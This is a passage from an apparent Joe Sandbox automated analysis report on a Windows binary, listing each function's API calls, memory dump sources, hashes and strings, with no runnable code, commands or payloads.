                                                              • Instruction Fuzzy Hash: 3CA001966AE116FD3A4866516E06C7A021DC9C5B623328A1AF442D5693A890588A1035
                                                              Function 00D71DE7 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SetDlgItemTextW.USER32(?,?,?), ref: 00D71DFC
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: ItemText
                                                              • String ID:
                                                              • API String ID: 3367045223-0
                                                              • Opcode ID: 0b9a303bb1df66d3654d398e8b1edb12dbc04117af595886083914c991c247af
                                                              • Instruction ID: 062bc2dcc833377d1c6a230f4a4372279e36518689a5a1909a3276878a5bdf0c
                                                              • Opcode Fuzzy Hash: 0b9a303bb1df66d3654d398e8b1edb12dbc04117af595886083914c991c247af
                                                              • Instruction Fuzzy Hash: 14C0EA35508201EF8B058B58D948D1ABBA6BB95311B51C558F06886120D371D920DF62
                                                              Function 00D94D13 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94CF1
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: 5e9505b322a4d9cc950c647a5aea59194e942b4412641c40ae57f6faaf369233
                                                              • Instruction ID: 72e9537a2213004e827d5522b9dfa29d1c0a1a330ec1bd90781247ea2c646cd4
                                                              • Opcode Fuzzy Hash: 5e9505b322a4d9cc950c647a5aea59194e942b4412641c40ae57f6faaf369233
                                                              • Instruction Fuzzy Hash: 4CA0019A2AE513BD3B0876616E06C7B021DD9D5B623318A1AF442C5183A9815C8A1035
                                                              Function 00D7E8D9 Relevance: 1.5, APIs: 1, Instructions: 5fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SetEndOfFile.KERNELBASE(?,00D7D115,?,?,?,?,?,?,?), ref: 00D7E8DC
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: File
                                                              • String ID:
                                                              • API String ID: 749574446-0
                                                              • Opcode ID: 75a34f705f5d585a4b71389d0cb2e7be33ee35b9421ed745705e5cb27e337565
                                                              • Instruction ID: 2befde5f49c51bf64144019eb013f48a5fe8b09fb2d263e26ec469f425bd0e50
                                                              • Opcode Fuzzy Hash: 75a34f705f5d585a4b71389d0cb2e7be33ee35b9421ed745705e5cb27e337565
                                                              • Instruction Fuzzy Hash: BDA00230211209CBDB411F31DE0970E7B6ABF426E9719D0A8A409C9171DB27CCA3EA55
                                                              Function 00D7DE50 Relevance: 1.3, APIs: 1, Instructions: 28COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CloseHandle.KERNELBASE(?,?,00000001,00D7DE10,562D4312,?,00000000,00DA93B1,000000FF,?,00D7BEA6,?), ref: 00D7DE6B
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: CloseHandle
                                                              • String ID:
                                                              • API String ID: 2962429428-0
                                                              • Opcode ID: 9aad4727fad28d186a65fdf504858b60dc67bc0a8bc3460579a08b043beb2510
                                                              • Instruction ID: 4333916b1652b7f3d2b7480f86b1e0615ac406b8523b1548e6614948892b3679
                                                              • Opcode Fuzzy Hash: 9aad4727fad28d186a65fdf504858b60dc67bc0a8bc3460579a08b043beb2510
                                                              • Instruction Fuzzy Hash: E9F0A771441B01DBD7359E34C414392B7F56F21334F08CB1DE0FA465E4E770A9899A71

                                                              Non-executed Functions

                                                              Function 00D79B5C Relevance: 23.3, APIs: 9, Strings: 4, Instructions: 577fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _wcslen.LIBCMT ref: 00D79CB1
                                                                • Part of subcall function 00D7AC11: GetCurrentProcess.KERNEL32(00000020,?), ref: 00D7AC2E
                                                                • Part of subcall function 00D7AC11: GetLastError.KERNEL32 ref: 00D7AC72
                                                                • Part of subcall function 00D7AC11: CloseHandle.KERNEL32(?), ref: 00D7AC81
                                                                • Part of subcall function 00D72F45: _wcslen.LIBCMT ref: 00D72F50
                                                              • CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000001,00000080,00000000,?,00000000,?,00000001,?,00000000,00000000,?,\??\), ref: 00D79EE1
                                                              • CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,562D4E5A,00DA9937,000000FF), ref: 00D79F1E
                                                              • CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000003,02200000,00000000,?,00000000,?,00000000,?,00000001,?,00000000,00000000), ref: 00D7A0BF
                                                                • Part of subcall function 00D714A7: _wcslen.LIBCMT ref: 00D714B8
                                                              • DeviceIoControl.KERNEL32(00000000,000900A4,?,-00000008,00000000,00000000,?,00000000), ref: 00D7A127
                                                              • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,562D4E5A,00DA9937,000000FF), ref: 00D7A134
                                                              • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,562D4E5A,00DA9937,000000FF), ref: 00D7A14A
                                                              • RemoveDirectoryW.KERNEL32(00000000,00000009,?,?,?,?,?,?,?,?,?,562D4E5A,00DA9937,000000FF), ref: 00D7A18E
                                                              • DeleteFileW.KERNEL32(00000000,00000009,?,?,?,?,?,?,?,?,?,562D4E5A,00DA9937,000000FF), ref: 00D7A196
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: CloseFileHandle_wcslen$CreateErrorLast$ControlCurrentDeleteDeviceDirectoryProcessRemove
                                                              • String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
                                                              • API String ID: 3517300771-3508440684
                                                              • Opcode ID: 199c71b8811a269fe3c99648a42e2a436c7cce0c6a89809f3198df935b6c49ca
                                                              • Instruction ID: 01e56e39a5e631a66e056804d1ba11038a9e0a431392bd8b739b8b602fbcdf40
                                                              • Opcode Fuzzy Hash: 199c71b8811a269fe3c99648a42e2a436c7cce0c6a89809f3198df935b6c49ca
                                                              • Instruction Fuzzy Hash: 95325F719002889FDB24DFA8CC91BEEB7B9EF15314F148159E94DE7281EB349A48CB71
                                                              Function 00D91630 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 275windowfileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __EH_prolog3_GS.LIBCMT ref: 00D9163A
                                                                • Part of subcall function 00D71E44: GetDlgItem.USER32(00000000,00003021), ref: 00D71E88
                                                                • Part of subcall function 00D71E44: SetWindowTextW.USER32(00000000,00DAC6C8), ref: 00D71E9E
                                                              • SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 00D916BB
                                                              • EndDialog.USER32(?,00000006), ref: 00D916CE
                                                              • GetDlgItem.USER32(?,0000006C), ref: 00D916EA
                                                              • SetFocus.USER32(00000000), ref: 00D916F1
                                                                • Part of subcall function 00D714A7: _wcslen.LIBCMT ref: 00D714B8
                                                                • Part of subcall function 00D71DE7: SetDlgItemTextW.USER32(?,?,?), ref: 00D71DFC
                                                              • SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 00D91763
                                                              • FindFirstFileW.KERNEL32(?,?), ref: 00D91783
                                                              • FindClose.KERNEL32(00000000,?,00000000,00000000,00000000,00000099,?,?,00000000), ref: 00D91826
                                                              • SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 00D918AD
                                                                • Part of subcall function 00D71150: _wcslen.LIBCMT ref: 00D7115B
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: Item$MessageSend$FindText_wcslen$CloseDialogFileFirstFocusH_prolog3_Window
                                                              • String ID: %s %s$REPLACEFILEDLG
                                                              • API String ID: 485132379-439456425
                                                              • Opcode ID: 05ae048d8d2cbacb41904c69b93e6ec6548d1456ac3758df7736c3feeaece4e1
                                                              • Instruction ID: d5385100998a28c8a2e8df11b1d0662d2347e1e52b26a33518bbc32ee5e9c81d
                                                              • Opcode Fuzzy Hash: 05ae048d8d2cbacb41904c69b93e6ec6548d1456ac3758df7736c3feeaece4e1
                                                              • Instruction Fuzzy Hash: 27A1AF7594021AAAEF21EBA4CC4AFEE777DEF11300F048295B249A3181EB705F498F71
                                                              Function 00DA480E Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: __floor_pentium4
                                                              • String ID: 1#IND$1#INF$1#QNAN$1#SNAN
                                                              • API String ID: 4168288129-2761157908
                                                              • Opcode ID: e8eba7e5ce1e416fa78d19a641ba346a0f8c06dfcdb47caacd8e1a334cd4d5e5
                                                              • Instruction ID: 18b934e13800b9f932c7f8f04fc120872d139a3187ce6cc99e25e61dc99e4558
                                                              • Opcode Fuzzy Hash: e8eba7e5ce1e416fa78d19a641ba346a0f8c06dfcdb47caacd8e1a334cd4d5e5
                                                              • Instruction Fuzzy Hash: 7DC24D72E046288FDF25CE28DD407EAB7B5EB86315F1841EAD44DE7244E774AE818F60
                                                              Function 00D73D9D Relevance: 6.1, APIs: 2, Strings: 1, Instructions: 857COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _strlen.LIBCMT ref: 00D7438C
                                                              • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00D74523
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_strlen
                                                              • String ID: CMT
                                                              • API String ID: 2172594012-2756464174
                                                              • Opcode ID: 8e55c447c42f00eb4ace17404da05046862c325463f3e3345f61e74e30d877ff
                                                              • Instruction ID: 5649d88927442fbd2a7dac6437ede65a0f51868e954f9321b03437ac8dbb743e
                                                              • Opcode Fuzzy Hash: 8e55c447c42f00eb4ace17404da05046862c325463f3e3345f61e74e30d877ff
                                                              • Instruction Fuzzy Hash: D172C071A003448FCB19DF68C8957EE7BA5FF19310F08856DEC5A9B282EB70A945CB71
                                                              Function 00D96878 Relevance: 6.1, APIs: 4, Instructions: 73COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00D96884
                                                              • IsDebuggerPresent.KERNEL32 ref: 00D96950
                                                              • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00D96970
                                                              • UnhandledExceptionFilter.KERNEL32(?), ref: 00D9697A
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
                                                              • String ID:
                                                              • API String ID: 254469556-0
                                                              • Opcode ID: 8247d687acdb96819224d95b9d91abe809c496e02154bb345fa58ad1e1cd94d3
                                                              • Instruction ID: a297633e9a3c8e400829ec584965da346b4a3fa1b9a18626de9c98df2b7dfb76
                                                              • Opcode Fuzzy Hash: 8247d687acdb96819224d95b9d91abe809c496e02154bb345fa58ad1e1cd94d3
                                                              • Instruction Fuzzy Hash: 60312775D553189BDF21DFA4D989BCCBBB8FF08304F1050AAE40CAB250EB719A848F64
                                                              Function 00D7932C Relevance: 6.0, APIs: 4, Instructions: 36windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetLastError.KERNEL32(?,?,00D7952D,?,00000040,00D7931E,00000001,?,?,?,?,0000001C,00D87618,00DBE0C8,WaitForMultipleObjects error %d, GetLastError %d,000000FF), ref: 00D79330
                                                              • FormatMessageW.KERNEL32(00001300,00000000,00000000,00000400,00000000,00000000,00000000,?,?,00D7952D,?,00000040,00D7931E,00000001,?,?), ref: 00D79351
                                                              • _wcslen.LIBCMT ref: 00D79360
                                                              • LocalFree.KERNEL32(00000000,00000000,00000000,00DBE0C8,?,?,00D7952D,?,00000040,00D7931E,00000001,?,?,?,?,0000001C), ref: 00D79373
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: ErrorFormatFreeLastLocalMessage_wcslen
                                                              • String ID:
                                                              • API String ID: 991192900-0
                                                              • Opcode ID: ee444c654a16dfb9f670ff93c38846a727dae259b7aa5313f686cbfb212b4a37
                                                              • Instruction ID: 1555c21b836223a63c2dd5989a762f899fec704b0c7d15593d1f5838cc5d6446
                                                              • Opcode Fuzzy Hash: ee444c654a16dfb9f670ff93c38846a727dae259b7aa5313f686cbfb212b4a37
                                                              • Instruction Fuzzy Hash: 76F0A77A510304FBEB049BA59D05EFF77BCEF85750B14C019F506E6190DA70DE019678
                                                              Function 00D94E14 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • VirtualQuery.KERNEL32(80000000,00D94D59,0000001C,00D94F4E,00000000,?,?,?,?,?,?,?,00D94D59,00000004,00DC5D84,00D94FDE), ref: 00D94E25
                                                              • GetSystemInfo.KERNEL32(?,?,00000000,?,?,?,?,00D94D59,00000004,00DC5D84,00D94FDE), ref: 00D94E40
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: InfoQuerySystemVirtual
                                                              • String ID: D
                                                              • API String ID: 401686933-2746444292
                                                              • Opcode ID: 725516db283cee1254e66fd9938f7d75d66249bd799f12ea6e215c73e69ba06c
                                                              • Instruction ID: 2b110e732a511f95e61fed0507aff0493ee5455a0b8e892a23fb18941b25add5
                                                              • Opcode Fuzzy Hash: 725516db283cee1254e66fd9938f7d75d66249bd799f12ea6e215c73e69ba06c
                                                              • Instruction Fuzzy Hash: 3001D432B002096BCF14DE29CC05AEE7BA9AFC4338F0CC125BD19DB255DA34D80286A0
                                                              Function 00D9AAC4 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • IsDebuggerPresent.KERNEL32(?,?,?,?,?,00D9535E), ref: 00D9ABBC
                                                              • SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00D9535E), ref: 00D9ABC6
                                                              • UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00D9535E), ref: 00D9ABD3
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: ExceptionFilterUnhandled$DebuggerPresent
                                                              • String ID:
                                                              • API String ID: 3906539128-0
                                                              • Opcode ID: 48408e7a0de268bf9342a5795b7f57ea25fcb698faa7d41c8f444117762cd174
                                                              • Instruction ID: a5ca9e63136ac4083dac559401350ca7cca8dfa03aad8845df153cfd61f1e3b5
                                                              • Opcode Fuzzy Hash: 48408e7a0de268bf9342a5795b7f57ea25fcb698faa7d41c8f444117762cd174
                                                              • Instruction Fuzzy Hash: F731C2759113189BCF21DF68D98879CBBB8EF08310F5051EAE41CA7261EB709F818F65
                                                              Function 00DA1FF8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114COMMON
                                                              Download Yara Rule
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: .
                                                              • API String ID: 0-248832578
                                                              • Opcode ID: a9ee89d781ff020db39324a1473992c3b7c12787b3837274e10773f53f8e28a2
                                                              • Instruction ID: df34fb284c12196a0390bff690ba1c94aa19a753047a6c04eab641cd091e588d
                                                              • Opcode Fuzzy Hash: a9ee89d781ff020db39324a1473992c3b7c12787b3837274e10773f53f8e28a2
                                                              • Instruction Fuzzy Hash: 7331D072900249AFDB249E79CC84EFBBBBDDB86314F0801A8F91997251E6319E45CB70
                                                              Function 00DA4360 Relevance: 3.5, APIs: 2, Instructions: 464COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 9e76feb55238aef6f2104d7f35b4c35741b7a6e088d7c6c091e67f68abddc892
                                                              • Instruction ID: 17f02cceafcdb0d8b871d340dc4050fb85d45606272d8bce1fa7bacda687bb90
                                                              • Opcode Fuzzy Hash: 9e76feb55238aef6f2104d7f35b4c35741b7a6e088d7c6c091e67f68abddc892
                                                              • Instruction Fuzzy Hash: 70023C71E002199FDF14CFA9C9806ADB7F1EF89314F298269D919E7384D771AE41CBA0
                                                              Function 00D8FD34 Relevance: 3.1, APIs: 2, Instructions: 51COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00D8FD6A
                                                              • GetNumberFormatW.KERNEL32(00000400,00000000,?,00DB9714,?,?), ref: 00D8FDB3
